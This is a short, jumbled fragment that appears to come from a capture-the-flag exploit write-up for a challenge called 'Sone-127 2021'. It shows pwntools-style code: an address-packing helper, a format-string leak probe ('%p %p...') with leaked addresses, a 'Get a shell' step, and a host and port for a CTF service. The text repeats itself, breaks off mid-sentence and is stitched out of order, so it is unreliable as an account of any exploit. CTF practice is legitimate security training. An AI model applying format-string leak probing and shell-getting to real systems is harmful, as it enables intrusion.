Sone-127 2021 -

def pack_addr(addr): return p64(addr)

> echo %p %p %p %p %p 0x7ffd2a8e2c30 0x0 0x7f5c1a2b2e30 0x0 0x7ffd2a8e2c30 That means the printf in the source is something like: SONE-127 2021

# 3️⃣ Get a shell get_shell(io)

HOST = 'sone-127.ctf.example.com' PORT = 31337 def pack_addr(addr): return p64(addr) > echo %p %p